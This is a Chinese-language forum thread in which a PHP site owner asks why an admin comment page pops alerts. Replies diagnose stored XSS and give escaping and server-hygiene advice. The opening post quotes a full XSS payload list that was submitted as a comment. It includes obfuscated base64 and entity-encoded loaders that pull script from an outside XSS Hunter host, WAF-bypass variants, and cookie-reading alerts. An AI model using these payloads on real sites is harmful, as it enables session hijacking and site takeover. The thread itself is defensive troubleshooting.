评论被人恶意提交代码,一直 alert

2021-03-23 18:30:04 +08:00
 l890908
自写的 php 英文站,评论有人提交这个代码,经过 htmlspecialchars 保存在数据表,今天点开后台评论管理页面,就一直弹 1,弹域名这些,并且发送了一些请求到乱七八糟的域名,本地断网测试一番又没发现问题,请大家看看有什么问题?

XSSHUNTER PAYLOADS "><script src=https://0xrohadi.xss.ht></script> javascript:eval('var a=document.createElement(\'script\');a.src=\'https://0xrohadi.xss.ht\';document.body.appendChild(a)') "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; autofocus> "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))> "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61;> "><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;0xrohadi.xss.ht&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0xrohadi.xss.ht");a.send();</script> "><script>$.getScript("//0xrohadi.xss.ht")</script> <audio controls onprogress=alert(1)> <source src=xss.mp3 type=audio/mpeg> </audio> <iframe><textarea></iframe><img src="" onerror="alert`1`"> xsstest'">{{7*7}} %22%3E%3Cbase%20href=%22https://0xrohadi.xss.ht%22%3E <script%26gt Tanda kutip commbo %bf%27 "><svg><discard onbegin=alert(1)> Bypass WAF XSS path?p1=a%22><svg%20&p2=xxx&p3=a+onL0aD=confirm(document.domain)> <math><mtext><table><mglyph><style><math><table id="</table>"><img src onerror=alert(1)"> <form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form> //ciao\"};prompt();/*var asd=[{\"foo\":\"bar "'>< + + <svg/onload=alert(document.domain)> %22%27%3E%3C%0D%0A+%0D%0A+%3Csvg/onload=alert%28document.domain%29%3E <noscript><p title="</noscript><img src=x onerror=alert(document.cookie)>"> curl -i -s -k -X 'GET' \ -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' \ 'https://app.box.com/' JSON XSS MODIFY HERE {"id":"abcabc\"><svg/onload=confirm(1)>abcabc","name":"file-name"} abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e ”/>&lt;script>alert(1)&lt;/script&gt”/> >< ); alert(document.domain); if (1 ')-prompt('xss <img src=\"http://attacker-ip/?id= <svg></p><style><g title="</style><img src onerror=alert(document.domain)>"> \" onerror = \"alert(123)\" \" ';[confirm][document.domain];// " onmouseover="alert(1)" '/alert[/xss/]/' */confirm(1)/*
11242 次点击
所在节点    信息安全
64 条回复
jimrok
2021-03-23 21:15:44 +08:00
其他用途呀,就是删你的数据库,勒索你的用户,用处可多了。
renmu123
2021-03-23 21:17:12 +08:00
回去一看服务器都已经被提权了
zhao372716335
2021-03-23 21:32:01 +08:00
明显被 xss 注入 js 了。前端提交的代码,必须处理字符,将 js 代码转义。
zhao372716335
2021-03-23 21:32:33 +08:00
否则,加载了第三方的 js,拿到你后台的 cookie,你就完蛋了
l890908
2021-03-23 21:47:42 +08:00
@zhao372716335 这些代码能不能看出意图是什么?
zhao372716335
2021-03-23 21:51:13 +08:00
@l890908

<script src=https://0xrohadi.xss.ht></script>

这个是加载的一个远程的 js 文件,你打开这个文件: https://0xrohadi.xss.ht/

This is a payload to test for Cross-site Scripting (XSS). It is meant to be used by security professionals and bug bounty hunters.

If you believe that this payload has been used to attempt to compromise your service without permission, please contact us using https://xsshunter.com/contact.

We take abuse of our service seriously and only allow security testing of services which our users have consent to test.

-XSS Hunter Team
*/



// https://github.com/niklasvh/html2canvas
l890908
2021-03-23 22:14:45 +08:00
@zhao372716335 对,我也看到这个,但是这里似乎没问题,但是也就加载了这个资源,没有加载其他资源
zhuweiyou
2021-03-23 23:07:42 +08:00
把网站发出来 让老哥们试试
zhao372716335
2021-03-24 00:39:49 +08:00
@l890908 这个 js 文件你敢说没问题?里面好多东西混淆了
GeruzoniAnsasu
2021-03-24 03:41:38 +08:00
你先把网站关了,服务器停掉。。。。


服务器停掉


服务器停掉



再重新开一个 = =
这个时候你的服务器可能都已经被日穿了
llyichT
2021-03-24 08:26:53 +08:00
后台用别的域名吧,cookie 与 IP 绑定,这样万一又被注入了,别人拿到也访问不了后台
rodrick
2021-03-24 09:04:13 +08:00
转义一下吧,这多好啊,以后就可以说自己有独立解决 XSS 攻击的实战经验
cslive
2021-03-24 09:28:01 +08:00
服务器重装系统吧,说不定人家正在白嫖你
dongtingyue
2021-03-24 09:33:44 +08:00
评论想支持 html 格式至少要把 script 标签去掉。
garlics
2021-03-24 09:51:05 +08:00
htmlspecialchars 可以正常过滤的,但是你输出的时候用 html_entity_decode 不就又把字符给转回去了。。
supuwoerc
2021-03-24 09:57:29 +08:00
昨天刚看到孤尽说 XSS 攻击的章节,今天就看到了哈哈哈
l890908
2021-03-24 10:21:24 +08:00
@llyichT 我已经取消后台 cookie,读 session😂😂
ganbuliao
2021-03-24 10:55:50 +08:00
就是简单的 xss 攻击 什么读 cookie 都是扯 就是你别用$GET 和 $POST, 用 input() 或者用个防止 xss 的函数就行了 网上一大把。strip_tags 和 htmlspecialchars
bbao
2021-03-24 10:56:24 +08:00
10 多年前刚开始学写表单的时候,就要被提醒,如果表单里面写了执行的 js 语句要怎么预防。
是可以被过滤掉的,对方并不是恶意,就是做测试罢了。
是你的站太脆弱了
wgbx
2021-03-24 10:57:58 +08:00
单纯 xss 而已,和 cookie 关系不大,禁用 or 转义用户上传的脚本

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/764367

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX